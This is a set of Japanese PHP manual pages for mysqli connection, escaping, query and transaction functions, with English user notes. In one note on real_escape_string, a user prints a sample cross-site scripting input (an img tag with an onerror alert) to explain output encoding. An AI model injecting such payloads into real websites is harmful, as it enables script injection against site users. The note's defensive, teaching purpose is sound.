WARNING: This function was buggy on 64bit machines till 5.0.5. Affected versions 5.0.0-5.0.4. The problem appears when a value for the third parameter is passed - this will lead to instant FALSE returned by the function. Therefore if you need to use unbuffered query don't use this function with the aforementioned versions but you mysqli_real_query() and mysqli_use_result().
If you have the rights to patch you PHP installation the fix is easy:
In file ext/mysqli/myslqi_nonapi.c, function PHP_FUNCTION(mysqli_query)
change
unsigned int resultmode=0;
to
unsigned long resultmode=0;

Thanks!
hunreal at gmail dot com 13-Aug-2004 02:24
Use difference collation/character for connect, result.
You can set the collation before your query.

E.g. want to set the collation to utf8_general_ci
you can send the query "SET NAMES 'utf8'" first

<?php
$mysqli=new mysqli('localhost', 'root', 'password', 'test');
$mysqli->query("SET NAMES 'utf8'");
$q=$mysqli->query("select * from test");
while($r=$q->fetch_assoc()) {
    print_r($r);
}
?>

There are many variables about character settings.
By running sql command, SHOW VARIABLES LIKE 'char%';
There are some variables control the character usage.

character_set_client
character_set_connection
character_set_database
character_set_results
character_set_server
character_set_system

Also SET NAMES can repalce with one or some settings like SET character_set_results='utf8';


mysql サーバーとの接続をオープンする

  • ≪ mysqli::query
  • mysqli::real_escape_string ≫
  • PHP Manual
  • mysqli
  • mysql サーバーとの接続をオープンする

mysqli::real_connect

mysqli_real_connect

(PHP 5, PHP 7)

mysqli::real_connect -- mysqli_real_connect — mysql サーバーとの接続をオープンする

説明

オブジェクト指向型

public mysqli::real_connect ( string $host = ? , string $username = ? , string $passwd = ? , string $dbname = ? , int $port = ? , string $socket = ? , int $flags = ? ) : bool

手続き型

mysqli_real_connect ( mysqli $link , string $host = ? , string $username = ? , string $passwd = ? , string $dbname = ? , int $port = ? , string $socket = ? , int $flags = ? ) : bool

MySQL データベースエンジンとの接続を確立します。

この関数は、以下の点で mysqli_connect() とは異なります。

  • mysqli_real_connect() は、 mysqli_init() が作成した接続オブジェクトを必要とします。

  • mysqli_options() 関数を使用して、 さまざまな接続オプションを設定することが可能です。

  • flags パラメータが使用できます。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

host

ホスト名あるいは IP アドレス。null 値あるいは文字列 "localhost" をこのパラメータに指定すると、ローカルホストを使用します。 使用可能な場合は、TCP/IP プロトコルよりもパイプを優先して使用します。

username

MySQL ユーザー名。

passwd

null を指定した場合は、MySQL サーバーは パスワードを持たないユーザーレコードについてのみ認証を試みます。 これにより、同一のユーザー名に対して (パスワードが指定されたか 否かによって) 違う権限を与えることができます。

dbname

指定した場合は、 クエリが行われるデフォルトのデータベースとなります。

port

MySQL サーバーに接続する際のポート番号を指定します。

socket

使用するソケットあるいは名前つきパイプを指定します。

注意:

socket 引数を指定しても、MySQL サーバーへの 接続時の型を明示的に定義することにはなりません。MySQL サーバーへの 接続方法については host 引数で定義されます。

flags

パラメータ flags で、接続時のさまざまなオプションを設定します。

サポートするフラグ
名前 | 説明
MYSQLI_CLIENT_COMPRESS | 圧縮プロトコルを使用します。
MYSQLI_CLIENT_FOUND_ROWS | 変更された行数ではなく、マッチした行数を返します。
MYSQLI_CLIENT_IGNORE_SPACE | 関数名に続く空白文字を許可します。すべての関数名を予約語とします。
MYSQLI_CLIENT_INTERACTIVE | 接続を閉じるまでのタイムアウト時間として、 (wait_timeout のかわりに) interactive_timeout の使用を許可します。
MYSQLI_CLIENT_SSL | SSL (暗号化) を使用します。
MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT | MYSQLI_CLIENT_SSL と似ていますが、 SSL 証明書の検証は行いません。 これは、MySQL Native Driver と MySQL 5.6 以降の組み合わせでのみ使えます。

注意:

セキュリティの観点から、PHP では MULTI_STATEMENT フラグはサポートされていません。複数のクエリを実行したい場合は、 mysqli_multi_query() 関数を使用してください。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 mysqli::real_connect() の例

オブジェクト指向型

<?php

$mysqli = mysqli_init();
if (!$mysqli) {
    die('mysqli_init failed');
}

if (!$mysqli->options(MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) {
    die('Setting MYSQLI_INIT_COMMAND failed');
}

if (!$mysqli->options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
    die('Setting MYSQLI_OPT_CONNECT_TIMEOUT failed');
}

if (!$mysqli->real_connect('localhost', 'my_user', 'my_password', 'my_db')) {
    die('Connect Error (' . mysqli_connect_errno() . ') '
            . mysqli_connect_error());
}

echo 'Success... ' . $mysqli->host_info . "\n";

$mysqli->close();
?>

オブジェクト指向型 で mysqli クラスを継承する例

<?php

class foo_mysqli extends mysqli {
    public function __construct($host, $user, $pass, $db) {
        parent::init();

        if (!parent::options(MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) {
            die('Setting MYSQLI_INIT_COMMAND failed');
        }

        if (!parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
            die('Setting MYSQLI_OPT_CONNECT_TIMEOUT failed');
        }

        if (!parent::real_connect($host, $user, $pass, $db)) {
            die('Connect Error (' . mysqli_connect_errno() . ') '
                    . mysqli_connect_error());
        }
    }
}

$db = new foo_mysqli('localhost', 'my_user', 'my_password', 'my_db');

echo 'Success... ' . $db->host_info . "\n";

$db->close();
?>

手続き型

<?php

$link = mysqli_init();
if (!$link) {
    die('mysqli_init failed');
}

if (!mysqli_options($link, MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) {
    die('Setting MYSQLI_INIT_COMMAND failed');
}

if (!mysqli_options($link, MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
    die('Setting MYSQLI_OPT_CONNECT_TIMEOUT failed');
}

if (!mysqli_real_connect($link, 'localhost', 'my_user', 'my_password', 'my_db')) {
    die('Connect Error (' . mysqli_connect_errno() . ') '
            . mysqli_connect_error());
}

echo 'Success... ' . mysqli_get_host_info($link) . "\n";

mysqli_close($link);
?>

上の例の出力は以下となります。

Success... MySQL host info: localhost via TCP/IP

注意

注意:

MySQLnd は常に、サーバーのデフォルト文字セットを想定しています。この文字セットは接続時の ハンドシェイク/認証 のときに送信され、これを mysqlnd が使います。

Libmysqlclient が使うデフォルトの文字セットは my.cnf で設定したものです。あるいは明示的に mysqli_options() をコールして設定することもできます。 これは、mysqli_init() のあとで mysqli_real_connect() を実行する前にコールします。

参考

  • mysqli_connect() - mysqli::__construct のエイリアス
  • mysqli_init() - MySQLi を初期化し、mysqli_real_connect() で使うオブジェクトを返す
  • mysqli_options() - オプションを設定する
  • mysqli_ssl_set() - SSL を使用したセキュアな接続を確立する
  • mysqli_close() - 事前にオープンしているデータベース接続を閉じる

User Contributed Notes

php-nospam325123 at brainpower dot no-ip dot org 03-Dec-2010 03:29
this is because it tries to use sockets with the string localhost this is documented en known
Pom 01-Dec-2009 03:47
Notice that when using "localhost" as hostname the port option might be ignored.

If you wish to connect thru a different port than default, substitute "127.0.0.1" for localhost.


接続の現在の文字セットを考慮して、SQL 文で使用する文字列の特殊文字をエスケープする

  • ≪ mysqli::real_connect
  • mysqli::real_query ≫
  • PHP Manual
  • mysqli
  • 接続の現在の文字セットを考慮して、SQL 文で使用する文字列の特殊文字をエスケープする

mysqli::real_escape_string

mysqli::escape_string

mysqli_real_escape_string

(PHP 5, PHP 7)

mysqli::real_escape_string -- mysqli::escape_string -- mysqli_real_escape_string — 接続の現在の文字セットを考慮して、SQL 文で使用する文字列の特殊文字をエスケープする

説明

オブジェクト指向型

public mysqli::escape_string ( string $escapestr ) : string
mysqli::real_escape_string ( string $escapestr ) : string

手続き型

mysqli_real_escape_string ( mysqli $link , string $escapestr ) : string

この関数を使用して、SQL 文中で使用できる正当な形式の SQL 文字列を作成します。 文字列 escapestr が、エスケープされた SQL に変換されます。その際、接続で使用している現在の文字セットが考慮されます。

警告

セキュリティ: デフォルトの文字セット

サーバーレベルで設定するなり API 関数 mysqli_set_charset() を使うなりして、 文字セットを明示しておく必要があります。この文字セットが mysqli_real_escape_string() に影響を及ぼします。詳細は 文字セットの概念 を参照ください。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

escapestr

エスケープする文字列。

エンコードされる文字は NUL (ASCII 0), \n, \r, \, ', ", および Control-Z です。

返り値

エスケープ済みの文字列を返します。

エラー / 例外

有効な MySQLi 接続を渡さずにこの関数を実行すると null が返され、 E_WARNING レベルのエラーが発生します。

例

例1 mysqli::real_escape_string() の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TEMPORARY TABLE myCity LIKE City");

$city = "'s Hertogenbosch";

/* このクエリは失敗します。なぜなら $city をエスケープしていないからです */
if (!$mysqli->query("INSERT into myCity (Name) VALUES ('$city')")) {
    printf("Error: %s\n", $mysqli->sqlstate);
}

$city = $mysqli->real_escape_string($city);

/* $city をエスケープしたので、このクエリは正しく動作します */
if ($mysqli->query("INSERT into myCity (Name) VALUES ('$city')")) {
    printf("%d Row inserted.\n", $mysqli->affected_rows);
}

$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TEMPORARY TABLE myCity LIKE City");

$city = "'s Hertogenbosch";

/* このクエリは失敗します。なぜなら $city をエスケープしていないからです */
if (!mysqli_query($link, "INSERT into myCity (Name) VALUES ('$city')")) {
    printf("Error: %s\n", mysqli_sqlstate($link));
}

$city = mysqli_real_escape_string($link, $city);

/* $city をエスケープしたので、このクエリは正しく動作します */
if (mysqli_query($link, "INSERT into myCity (Name) VALUES ('$city')")) {
    printf("%d Row inserted.\n", mysqli_affected_rows($link));
}

mysqli_close($link);
?>

上の例の出力は以下となります。

Error: 42000
1 Row inserted.

注意

注意:

これまでに mysql_real_escape_string() をよく使っていた人は、
mysqli_real_escape_string() の引数が
mysql_real_escape_string() とは違うことに注意しましょう。
mysqli_real_escape_string() の最初の引数は
link であり、
mysql_real_escape_string()
のようにエスケープしたい文字列を最初に書くのではなくなりました。

参考

  • mysqli_set_charset() - クライアントのデフォルト文字セットを設定する
  • mysqli_character_set_name() - データベース接続のデフォルトの文字コードセットを返す

User Contributed Notes

David Spector 06-Nov-2018 10:18
I think two additional characters need to be removed or escaped to protect from injection: ` (accent grave) and ; (semicolon). Accent grave could be used to inject into table and key names, terminating them too early (if user input is allowed as table or key names), and semicolon could be used to insert additional statements into an SQL statement. Always use ` (accent grave) to surround table, key, and column names, and always use ' (apostrophe) to surround column values in SQL statements, especially if the names or values can ever contain spaces.
Lawrence DOliveiro 13-Dec-2017 03:56
Note that the "like" operator requires an *additional* level of escaping for its special characters, *on top of* that performed by mysql_escape_string. But there is no built-in function for performing this escaping. Here is a function that does it:

function escape_sql_wild($s)
  /* escapes SQL pattern wildcards in s. */
  {
    $result = array();
    foreach(str_split($s) as $ch)
      {
        if ($ch == "\\" || $ch == "%" || $ch == "_")
          {
            $result[] = "\\";
          } /*if*/
        $result[] = $ch;
      } /*foreach*/
    return
        implode("", $result);
  } /*escape_sql_wild*/
therselman at gmail dot com 19-Jul-2017 08:22
Presenting several UTF-8 / Multibyte-aware escape functions.

These functions represent alternatives to mysqli::real_escape_string, as long as your DB connection and Multibyte extension are using the same character set (UTF-8), they will produce the same results by escaping the same characters as mysqli::real_escape_string.

This is based on research I did for my SQL Query Builder class:
https://github.com/twister-php/sql

<?php
/**
 * Returns a string with backslashes before characters that need to be escaped.
 * As required by MySQL and suitable for multi-byte character sets
 * Characters encoded are NUL (ASCII 0), \n, \r, \, ', ", and ctrl-Z.
 *
 * @param string $string String to add slashes to
 * @return $string with `\` prepended to reserved characters
 *
 * @author Trevor Herselman
 */
if (function_exists('mb_ereg_replace'))
{
    function mb_escape(string $string)
    {
        return mb_ereg_replace('[\x00\x0A\x0D\x1A\x22\x27\x5C]', '\\\0', $string);
    }
} else {
    function mb_escape(string $string)
    {
        return preg_replace('~[\x00\x0A\x0D\x1A\x22\x27\x5C]~u', '\\\$0', $string);
    }
}

?>

Characters escaped are (the same as mysqli::real_escape_string):

00 = \0 (NUL)
0A = \n
0D = \r
1A = ctl-Z
22 = "
27 = '
5C = \

Note: preg_replace() is in PCRE_UTF8 (UTF-8) mode (`u`).

Enhanced version:

When escaping strings for `LIKE` syntax, remember that you also need to escape the special characters _ and %

So this is a more fail-safe version (even when compared to mysqli::real_escape_string, because % characters in user input can cause unexpected results and even security violations via SQL injection in LIKE statements):

<?php

/**
 * Returns a string with backslashes before characters that need to be escaped.
 * As required by MySQL and suitable for multi-byte character sets
 * Characters encoded are NUL (ASCII 0), \n, \r, \, ', ", and ctrl-Z.
 * In addition, the special control characters % and _ are also escaped,
 * suitable for all statements, but especially suitable for `LIKE`.
 *
 * @param string $string String to add slashes to
 * @return $string with `\` prepended to reserved characters
 *
 * @author Trevor Herselman
 */
if (function_exists('mb_ereg_replace'))
{
    function mb_escape(string $string)
    {
        return mb_ereg_replace('[\x00\x0A\x0D\x1A\x22\x25\x27\x5C\x5F]', '\\\0', $string);
    }
} else {
    function mb_escape(string $string)
    {
        return preg_replace('~[\x00\x0A\x0D\x1A\x22\x25\x27\x5C\x5F]~u', '\\\$0', $string);
    }
}

?>

Additional characters escaped:

25 = %
5F = _

Bonus function:

The original MySQL `utf8` character-set (for tables and fields) only supports 3-byte sequences.
4-byte characters are not common, but I've had queries fail to execute on 4-byte UTF-8 characters, so you should be using `utf8mb4` wherever possible.

However, if you still want to use `utf8`, you can use the following function to replace all 4-byte sequences.

<?php
// Modified from: https://stackoverflow.com/a/24672780/2726557
function mysql_utf8_sanitizer(string $str)
{
    return preg_replace('/[\x{10000}-\x{10FFFF}]/u', "\xEF\xBF\xBD", $str);
}
?>

Pick your poison and use at your own risk!
James 09-Jul-2016 02:34
To escape for the purposes of having your queries made successfully, and to prevent SQLi (SQL injection)/stored and/or reflected XSS, it's a good idea to go with the basics first, then make sure nothing gets in that can be used for SQLi or stored/reflected XSS, or even worse, loading remote images and scripts.

For example:

<?php

     // Assume this is a simple comments form with a name and comment.

     $name = mysqli_real_escape_string($conn, $_POST['name']);
     $comments = mysqli_real_escape_string($conn, $_POST['comments']);

     // Here is where most of the action happens.  But see note below
     // on dumping back out from the database

     // We should use the ENT_QUOTES flag second parameter...
     $name = htmlspecialchars($name);
     $comments = htmlspecialchars($comments);

     $insert_sql = "INSERT INTO tbl_comments ( c_id, c_name, c_comments ) VALUES ( DEFAULT, '" . $name . "', '" . $comments . "')";

     $res = mysqli_query($conn, $insert_sql);
     if ( $res === false ) {
          // Something went wrong, handle it
     }

     // Now output page showing comments
?>

//  Assume we're in a table with each row containing a name and comment

<?php

     $res = mysqli_query($conn, "SELECT c_name, c_comments FROM tbl_comments ORDER BY c_name ASC");

     if ( $res === false )
          // Something went wrong

     // Or as you like...
     while ( $row = mysqli_fetch_array($res, MYSQLI_BOTH) ) {

          // This will output safe HTML entities if they went in
          // They will be displayed, but not interpreted
          echo "<tr><td>" . $row['c_name'] . "</td>";
          echo "<td>" . $row['c_comments'] . "</td></tr>";

          // BUT, if you make this mistake...
          echo "<tr><td>" . htmlspecialchars_decode($row['c_name']) . "</td>";
          echo "<td>" . htmlspecialchars_decode($row['c_comments']) . "</td></tr>";

          // ... then your entities will reflect back as the characters, so
          // input such as this: "><img src=x onerror=alert('xss')>
          // will display the 'xss' in an alert box in the browser.
     }

     mysqli_free_result($res);
     mysqli_close($conn);
?>

In most cases, you wouldn't want to go way overboard sanitizing untrusted user input, for instance:

<?php
     $my_input = htmlspecialchars( strip_tags($_POST['foo']) );
?>

This will junk a lot of input you might actually want, if you're rolling your own forum or comments section and it's for web developers, for example.  On the other hand, if legitimate users are never going to enter anything other than text, never HTML tags or anything else, it's not a bad idea.

The take-away is that mysqli_real_escape_string() is not good enough, and being overly-aggressive in sanitizing input may not be what you want.

Be aware that in the above example, it will protect you from sqli (run sqlmap on all your input fields and forms to check) but it won't protect your database from being filled with junk, effectively DoS'ing your Web app in the process.

So after protecting against SQLi, even if you're behind CloudFlare and take other measures to protect your databases, there's still effectively a DoS attack that could slow down your Web App for legitimate users and make it a nightmare filled with rubbish that some poor maintainer has to clean out, if you don't take other measures.

So aside from escaping your stings, and protecting against SQLi and stored/reflected XSS, and maliciously loaded images or JS, there's also checking your input to see if it makes sense, so you don't get a database full of rubbish!

It just never ends... :-)
Anonymous 25-Mar-2015 09:20
If you wonder why (besides \, ' and ")  NUL (ASCII 0), \n, \r, and Control-Z are escaped: it is not to prevent sql injection, but to prevent your sql logfile to get unreadable.
zanferrari at gmail dot com 11-Nov-2013 08:27
When I submit data through Ajax I use a little function to reconvert the encoded chars to their original value. After that I do the escaping. Here the function:

   function my_htmlentities($input){
       $string = htmlentities($input,ENT_NOQUOTES,'UTF-8');
       $string = str_replace('&euro;',chr(128),$string);
       $string = html_entity_decode($string,ENT_NOQUOTES,'ISO-8859-15');
       return $string;
   }

G.Zanferrari
dave at mausner.us 25-Feb-2011 07:48
You can avoid all character escaping issues (on the PHP side) if you use prepare() and bind_param(), as an alternative to placing arbitrary string values in SQL statements.  This works because bound parameter values are NOT passed via the SQL statement syntax.
Josef Toman 26-Feb-2010 06:14
For percent sign and underscore I use this:
<?php
$more_escaped = addcslashes($escaped, '%_');
?>
tobias_demuth at web dot de 10-Nov-2005 08:54
Note, that if no connection is open, mysqli_real_escape_string() will return an empty string!
arnoud at procurios dot nl 07-Oct-2004 09:05
Note that this function will NOT escape _ (underscore) and % (percent) signs, which have special meanings in LIKE clauses.

As far as I know there is no function to do this, so you have to escape them yourself by adding a backslash in front of them.


SQL クエリを実行する

  • ≪ mysqli::real_escape_string
  • mysqli::reap_async_query ≫
  • PHP Manual
  • mysqli
  • SQL クエリを実行する

mysqli::real_query

mysqli_real_query

(PHP 5, PHP 7)

mysqli::real_query -- mysqli_real_query — SQL クエリを実行する

説明

オブジェクト指向型

public mysqli::real_query ( string $query ) : bool

手続き型

mysqli_real_query ( mysqli $link , string $query ) : bool

データベースに対して単一のクエリを実行します。 その結果を取得したり保存したりするには、関数 mysqli_store_result() あるいは mysqli_use_result() を使用します。

指定したクエリが結果を返すかどうかを調べるには、 mysqli_field_count() を参照ください。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

query

クエリを表す文字列。

クエリ内のデータは 適切にエスケープ. する必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • mysqli_query() - データベース上でクエリを実行する
  • mysqli_store_result() - 直近のクエリから結果セットを転送する
  • mysqli_use_result() - 結果セットの取得を開始する

User Contributed Notes

There are no user contributed notes for this page.


非同期クエリから結果を取得する

  • ≪ mysqli::real_query
  • mysqli::refresh ≫
  • PHP Manual
  • mysqli
  • 非同期クエリから結果を取得する

mysqli::reap_async_query

mysqli_reap_async_query

(PHP 5 >= 5.3.0, PHP 7)

mysqli::reap_async_query -- mysqli_reap_async_query — 非同期クエリから結果を取得する

説明

オブジェクト指向型

public mysqli::reap_async_query ( ) : mysqli_result

手続き型

mysqli_reap_async_query ( mysqli $link ) : mysqli_result

非同期クエリから結果を取得します。 mysqlnd でのみ使用可能です。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

失敗した場合に false を返します。 結果セットを生成するクエリ、 つまり SELECT, SHOW, DESCRIBE あるいは EXPLAIN が成功した場合は、mysqli_reap_async_query() は mysqli_result オブジェクトを返します。それ以外のクエリが成功した場合は、 mysqli_reap_async_query() は true を返します。

参考

  • mysqli_poll() - 接続を問い合わせる

User Contributed Notes

eric dot caron at gmail dot com 06-May-2010 11:05
Keep in mind that mysqli::reap_async_query only returns mysqli_result on queries like SELECT. For queries where you may be interested in things like affected_rows or insert_id, you can't work off of the result of mysqli::reap_async_query as the example in mysqli::poll leads you to believe. For INSERT/UPDATE/DELETE queries, the data corresponding to the query can be accessed through the associated key to the first array in the mysqli::poll function.

So instead of
<?php
    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            print_r($result->fetch_row());
            mysqli_free_result($result);
            $processed++;
        }
    }
?>

The data is accessible via:
<?php
    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            //This works for SELECT
            if(is_object($result)){
                print_r($result->fetch_row());
                mysqli_free_result($result);
            }
            //This works for INSERT/UPDATE/DELETE
            else {
                print_r($link);
            }
            $processed++;
        }
    }
?>


リフレッシュする

  • ≪ mysqli::reap_async_query
  • mysqli::release_savepoint ≫
  • PHP Manual
  • mysqli
  • リフレッシュする

mysqli::refresh

mysqli_refresh

(PHP 5 >= 5.3.0, PHP 7)

mysqli::refresh -- mysqli_refresh — リフレッシュする

説明

オブジェクト指向型

public mysqli::refresh ( int $options ) : bool

手続き型

mysqli_refresh ( mysqli $link , int $options ) : bool

テーブルやキャッシュのフラッシュ、あるいはレプリケーションサーバー情報のリセットを行います。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

options

リフレッシュのオプションを定数 MYSQLI_REFRESH_* で指定します。定数の意味は MySQLi 定数 のドキュメントを参照ください。

公式ドキュメントの » MySQL Refresh も参照ください。

返り値

リフレッシュに成功した場合に true、それ以外の場合に false を返します。

参考

  • mysqli_poll() - 接続を問い合わせる

User Contributed Notes

There are no user contributed notes for this page.


現在のトランザクションのセーブポイント群から、指定した名前のセーブポイントを削除する

  • ≪ mysqli::refresh
  • mysqli::rollback ≫
  • PHP Manual
  • mysqli
  • 現在のトランザクションのセーブポイント群から、指定した名前のセーブポイントを削除する

mysqli::release_savepoint

mysqli_release_savepoint

(PHP 5 >= 5.5.0, PHP 7)

mysqli::release_savepoint -- mysqli_release_savepoint — 現在のトランザクションのセーブポイント群から、指定した名前のセーブポイントを削除する

説明

オブジェクト指向型

public mysqli::release_savepoint ( string $name ) : bool

手続き型:

mysqli_release_savepoint ( mysqli $link , string $name ) : bool

この関数は、$mysqli->query("RELEASE SAVEPOINT `$name`"); を実行することと同等です。 この関数は、コミットやロールバックを実行しません。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

name

セーブポイントの識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • mysqli_savepoint() - トランザクションのセーブポイントを設定する

User Contributed Notes

There are no user contributed notes for this page.


現在のトランザクションをロールバックする

  • ≪ mysqli::release_savepoint
  • mysqli::savepoint ≫
  • PHP Manual
  • mysqli
  • 現在のトランザクションをロールバックする

mysqli::rollback

mysqli_rollback

(PHP 5, PHP 7)

mysqli::rollback -- mysqli_rollback — 現在のトランザクションをロールバックする

説明

オブジェクト指向型

public mysqli::rollback ( int $flags = 0 , string $name = ? ) : bool

手続き型

mysqli_rollback ( mysqli $link , int $flags = 0 , string $name = ? ) : bool

データベースの現在のトランザクションをロールバックします。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

flags

定数 MYSQLI_TRANS_COR_* のビットマスク。

name

指定した場合は、ROLLBACK/*name*/ を実行します。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

この関数は、トランザクションに 対応していないテーブル型（MyISAM あるいは ISAM など）では 動作しません。

例

mysqli::begin_transaction() の例 を参照して下さい。

参考

  • mysqli_begin_transaction() - トランザクションを開始する
  • mysqli_commit() - 現在のトランザクションをコミットする
  • mysqli_autocommit() - データベース更新の自動コミットをオンまたはオフにする
  • mysqli_release_savepoint() - 現在のトランザクションのセーブポイント群から、指定した名前のセーブポイントを削除する

User Contributed Notes

Steven McCoy 10-Feb-2012 09:16
Remember that MyISAM tables do not support rollbacks.

I just drove myself crazy for an afternoon trying to figure out what was wrong with my code - meanwhile it was fine all along
xcalibur at xcalibur dot dk 10-Mar-2010 03:04
Just a note about auto incremental ids and rollback.
When using transactions and inserting into a table containing a column with auto incremental ids, the id will be incremented even though the transaction is rolled back.

This might occupy a lot of ids if a lot of rollbacks are performed.

Example:
<?php
$mysqli = new mysqli("localhost", "gugbageri", "gugbageri", "gugbageri");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* disable autocommit */
$mysqli->autocommit(FALSE);

/* We just create a test table with one auto incremental primary column and a content column*/
$mysqli->query("CREATE TABLE TestTable ( `id_column` INT NOT NULL  AUTO_INCREMENT , `content` INT NOT NULL , PRIMARY KEY ( `id_column` )) ENGINE = InnoDB;");

/* commit newly created table */
$mysqli->commit();

/* we insert a row */
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");

/* we commit the inserted row */
$mysqli->commit();

/* we insert another three rows */
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");

/* we the rollback */
$mysqli->rollback();

/* we insert a row */
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");

/* we commit the inserted row */
$mysqli->commit();

if ($result = $mysqli->query("SELECT id_column FROM TestTable")) {

   while($row = $result->fetch_row()) {
      printf("Id: %d.\n", $row[0]);
   }
    /* Free result */
    $result->close();
}

/* Drop table TestTable */
$mysqli->query("DROP TABLE TestTable");

$mysqli->close();
?>

This will output:
Id: 1.
Id: 5.
jd at dilltree dot com 22-Jul-2009 04:08
Something to consider when using transact is that you should not perform a normal query on the same table (such as a DELETE) immediately after a transaction.  If the transaction rolls-back, the DELETE will execute and even show affected rows, but the row can be magically re-inserted even if the rollback() command comes before the DELETE query.
Lorenzo - webmaster AT 4tour DOT it 10-Feb-2009 06:31
This is an example to explain the powerful of the rollback and commit functions.
Let's suppose you want to be sure that all queries have to be executed without errors before writing data on the database.
Here's the code:

<?php
$all_query_ok=true; // our control variable

//we make 4 inserts, the last one generates an error
//if at least one query returns an error we change our control variable
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (200)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (300)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false; //duplicated PRIMARY KEY VALUE

//now let's test our control variable
$all_query_ok ? $mysqli->commit() : $mysqli->rollback();

$mysqli->close();
?>

hope to be helpful!


トランザクションのセーブポイントを設定する

  • ≪ mysqli::rollback
  • mysqli::select_db ≫
  • PHP Manual
  • mysqli
  • トランザクションのセーブポイントを設定する

mysqli::savepoint

mysqli_savepoint

(PHP 5 >= 5.5.0, PHP 7)

mysqli::savepoint -- mysqli_savepoint — トランザクションのセーブポイントを設定する

説明

オブジェクト指向型

public mysqli::savepoint ( string $name ) : bool

手続き型:

mysqli_savepoint ( mysqli $link , string $name ) : bool

この関数は、$mysqli->query("SAVEPOINT `$name`"); を実行することと同等です。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

name

セーブポイントの識別子

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • mysqli_release_savepoint() - 現在のトランザクションのセーブポイント群から、指定した名前のセーブポイントを削除する

User Contributed Notes

There are no user contributed notes for this page.


クエリを実行するためのデフォルトのデータベースを選択する

  • ≪ mysqli::savepoint
  • mysqli::set_charset ≫
  • PHP Manual
  • mysqli
  • クエリを実行するためのデフォルトのデータベースを選択する

mysqli::select_db

mysqli_select_db

(PHP 5, PHP 7)

mysqli::select_db -- mysqli_select_db — クエリを実行するためのデフォルトのデータベースを選択する

説明

オブジェクト指向型

public mysqli::select_db ( string $dbname ) : bool

手続き型

mysqli_select_db ( mysqli $link , string $dbname ) : bool

データベース接続に対してクエリを実行する際に使用する、 デフォルトのデータベースを設定します。

注意:

この関数は、接続のデフォルトデータベースを変更する際にのみ使用します。 デフォルトデータベースは、mysqli_connect() の 4 番目の引数でも指定可能です。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

dbname

データベース名。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 mysqli::select_db() の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* 現在のデフォルトデータベース名を返します */
if ($result = $mysqli->query("SELECT DATABASE()")) {
    $row = $result->fetch_row();
    printf("Default database is %s.\n", $row[0]);
    $result->close();
}

/* データベースを world に変更します */
$mysqli->select_db("world");

/* 現在のデフォルトデータベース名を返します */
if ($result = $mysqli->query("SELECT DATABASE()")) {
    $row = $result->fetch_row();
    printf("Default database is %s.\n", $row[0]);
    $result->close();
}

$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* 現在のデフォルトデータベース名を返します */
if ($result = mysqli_query($link, "SELECT DATABASE()")) {
    $row = mysqli_fetch_row($result);
    printf("Default database is %s.\n", $row[0]);
    mysqli_free_result($result);
}

/* データベースを world に変更します */
mysqli_select_db($link, "world");

/* 現在のデフォルトデータベース名を返します */
if ($result = mysqli_query($link, "SELECT DATABASE()")) {
    $row = mysqli_fetch_row($result);
    printf("Default database is %s.\n", $row[0]);
    mysqli_free_result($result);
}

mysqli_close($link);
?>

上の例の出力は以下となります。

Default database is test.
Default database is world.

参考

  • mysqli_connect() - mysqli::__construct のエイリアス
  • mysqli_real_connect() - mysql サーバーとの接続をオープンする

User Contributed Notes

